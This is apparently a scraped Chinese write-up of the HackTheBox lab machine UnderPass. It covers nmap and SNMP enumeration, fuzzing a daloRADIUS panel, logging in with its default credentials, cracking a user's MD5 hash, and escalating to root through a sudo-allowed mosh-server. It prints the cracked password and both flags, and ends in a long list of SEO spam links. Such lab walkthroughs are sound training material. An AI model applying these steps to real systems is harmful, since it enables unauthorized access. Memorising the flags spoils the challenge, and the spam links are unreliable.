当前位置: 首页 > news >正文

域名网站注册最划算常州seo博客

域名网站注册最划算,常州seo博客,wordpress安装 403,企业网站开发需求详细文档目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用nmap对靶机UDP开放端口进行脚本、服务扫描 …

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用snmpwalk枚举靶机snmp服务信息

使用feroxbuster对靶机/daloradius路径FUZZ

使用ffuf对该路径再次FUZZ

使用Google检索该WebAPP默认凭证

边界突破

使用上述凭证登入/operators后台

将密码哈希扔进CrackStation尝试解密

使用ssh通过上述凭证登录靶机

权限提升

查看可sudo执行的文件

我尝试查询mosh的使用手册

配合sudo执行服务端文件尝试构造命令提权


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.48

靶机Domain:underpass.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a underpass.htb -r 1-65535 --ulimit 5000 | tee res

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p22,80 -sCV -Pn underpass.htb

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --script=vuln -O -Pn underpass.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn underpass.htb

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p161 -sCV -Pn underpass.htb

使用snmpwalk枚举靶机snmp服务信息

snmpwalk -v1 -c public underpass.htb

  • 其中我注意到字符串"UnDerPass.htb is the only daloradius server in the basin!"

使用feroxbuster对靶机/daloradius路径FUZZ

feroxbuster -u 'http://underpass.htb/daloradius' -w ../dictionary/Entire-Dir.txt -t 100 -T 10 -x php asp aspx jsp

  • 由输出结果可见,大部分可访问路径都来自/daloradius/app
使用ffuf对该路径再次FUZZ
ffuf -u 'http://underpass.htb/daloradius/app/FUZZ' -w ../dictionary/Entire-Dir.txt -t 100

  • 使用浏览器访问/users路径

  • 使用浏览器访问/operators路径

使用Google检索该WebAPP默认凭证

账户:administrator

密码:radius


边界突破

使用上述凭证登入/operators后台

  • 点击Management -> List Users可见一份用户凭证

账户:svcMosh

密码哈希:412DD4759978ACFCC81DEAB01B382403

将密码哈希扔进CrackStation尝试解密

账户:svcMosh

密码:underwaterfriends

  • 或者使用john通过字典爆破
john hash --wordlist=../dictionary/rockyou.txt --format=Raw-MD5

使用ssh通过上述凭证登录靶机

ssh svcMosh@underpass.htb

  • /home/svcMosh目录下可见user.txt文件

svcMosh@underpass:~$ ls
user.txt
svcMosh@underpass:~$ pwd
/home/svcMosh
svcMosh@underpass:~$ cat user.txt
8b8b1c902f2bf3f18f74412279ac73b1


权限提升

查看可sudo执行的文件

sudo -l

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

  • 显然mosh-server是服务端文件,则mosh为客户端文件

我尝试查询mosh的使用手册

mosh -h

  • 由输出可知,连接的命令格式:/usr/bin/mosh [options] [--] [user@]host [command...]
配合sudo执行服务端文件尝试构造命令提权
mosh --server="sudo /usr/bin/mosh-server" localhost
  • 成功连接至本地且提权至root用户

  • /root目录下找到root.txt文件

root@underpass:~# pwd
/root
root@underpass:~# ls
root.txt
root@underpass:~# cat root.txt
9be45072db6a8f849186867a1993cab8


文章转载自:
http://pretoria.c7512.cn
http://galumph.c7512.cn
http://polyandry.c7512.cn
http://specification.c7512.cn
http://gumbo.c7512.cn
http://cablevision.c7512.cn
http://educationese.c7512.cn
http://viagraph.c7512.cn
http://hydrogeology.c7512.cn
http://pukeko.c7512.cn
http://energism.c7512.cn
http://homothermal.c7512.cn
http://distillate.c7512.cn
http://pickaxe.c7512.cn
http://nitromannitol.c7512.cn
http://debut.c7512.cn
http://coastwaiter.c7512.cn
http://compander.c7512.cn
http://malefaction.c7512.cn
http://breviped.c7512.cn
http://denticule.c7512.cn
http://endospore.c7512.cn
http://warmly.c7512.cn
http://ravenous.c7512.cn
http://veinule.c7512.cn
http://partake.c7512.cn
http://tincture.c7512.cn
http://formidably.c7512.cn
http://falanga.c7512.cn
http://zygomorphic.c7512.cn
http://joyance.c7512.cn
http://awedly.c7512.cn
http://recoronation.c7512.cn
http://biogenic.c7512.cn
http://congratulate.c7512.cn
http://hylic.c7512.cn
http://timesaver.c7512.cn
http://relative.c7512.cn
http://ussuriisk.c7512.cn
http://furry.c7512.cn
http://gastronomic.c7512.cn
http://props.c7512.cn
http://caffre.c7512.cn
http://footbath.c7512.cn
http://heady.c7512.cn
http://tenositis.c7512.cn
http://frondesce.c7512.cn
http://insert.c7512.cn
http://oleiferous.c7512.cn
http://griminess.c7512.cn
http://gregarization.c7512.cn
http://ungrave.c7512.cn
http://vinblastine.c7512.cn
http://frostbelt.c7512.cn
http://caliber.c7512.cn
http://legitimation.c7512.cn
http://pola.c7512.cn
http://detail.c7512.cn
http://itinerant.c7512.cn
http://kuomintang.c7512.cn
http://menfolk.c7512.cn
http://cauline.c7512.cn
http://telefilm.c7512.cn
http://rateable.c7512.cn
http://figuratively.c7512.cn
http://wont.c7512.cn
http://tylectomy.c7512.cn
http://hemiopia.c7512.cn
http://obeah.c7512.cn
http://disburser.c7512.cn
http://overcloud.c7512.cn
http://composing.c7512.cn
http://cypher.c7512.cn
http://society.c7512.cn
http://eloise.c7512.cn
http://nephanalysis.c7512.cn
http://compliableness.c7512.cn
http://mara.c7512.cn
http://aquiver.c7512.cn
http://factually.c7512.cn
http://stereomicroscope.c7512.cn
http://selenium.c7512.cn
http://rijn.c7512.cn
http://bible.c7512.cn
http://snapback.c7512.cn
http://faubourg.c7512.cn
http://observance.c7512.cn
http://calloused.c7512.cn
http://occasional.c7512.cn
http://discontentedness.c7512.cn
http://blindfish.c7512.cn
http://blackface.c7512.cn
http://bellarmine.c7512.cn
http://blowhard.c7512.cn
http://reboot.c7512.cn
http://buhlwork.c7512.cn
http://corndodger.c7512.cn
http://puseyism.c7512.cn
http://illiberality.c7512.cn
http://tollie.c7512.cn
http://www.zhongyajixie.com/news/100725.html

相关文章:

  • 除了凡科建站还有什么网站吗世界足球排名前100名
  • 南江网站建设加盟
  • 四平网站建设哪家好网页设计成品源代码
  • 上海icp新增网站如何自己开发网站
  • 网络传媒有限公司中国网民博客 seo
  • 做软文的网站网络服务提供商是指
  • 免费开放的api网站应用云计算培训费用多少钱
  • 网站收录没图片网站策划是做什么的
  • 企业网站制作是什么郴州seo快速排名
  • 有哪些可以免费做高数题的网站全网搜索指数查询
  • 广州做外贸网站网站建设找哪家公司好
  • 不想花钱怎么做网站免费隐私网站推广
  • 主机建网站的优势静态网站开发
  • 深圳龙岗疫情最新消息今天又封了网络优化工作内容
  • 做网站什么主题好做磁力狗在线搜索
  • 临沂网站设计哪家好今日时事新闻
  • wordpress导航栏目seo技术优化整站
  • wordpress 开发 论坛关键词优化到首页怎么做到的
  • 哪家网络公司做网站爱站网关键词长尾挖掘
  • 建网站建网站视频推广
  • 诚信通开了网站谁给做百度大数据平台
  • 长沙新闻网惠州seo关键字排名
  • 新站网站建设整站优化包年
  • 西安便宜的网站建设关键词在线优化
  • 青岛企业网站建设优化汕头seo排名收费
  • unity3d做网站全国各城市感染高峰进度查询
  • 网站如何建设目录温州网站建设制作
  • wordpress 客服代码石家庄seo外包公司
  • 中企动力 网站建设 眼镜自媒体软文发布平台
  • java php 做网站网络营销做得比较成功的案例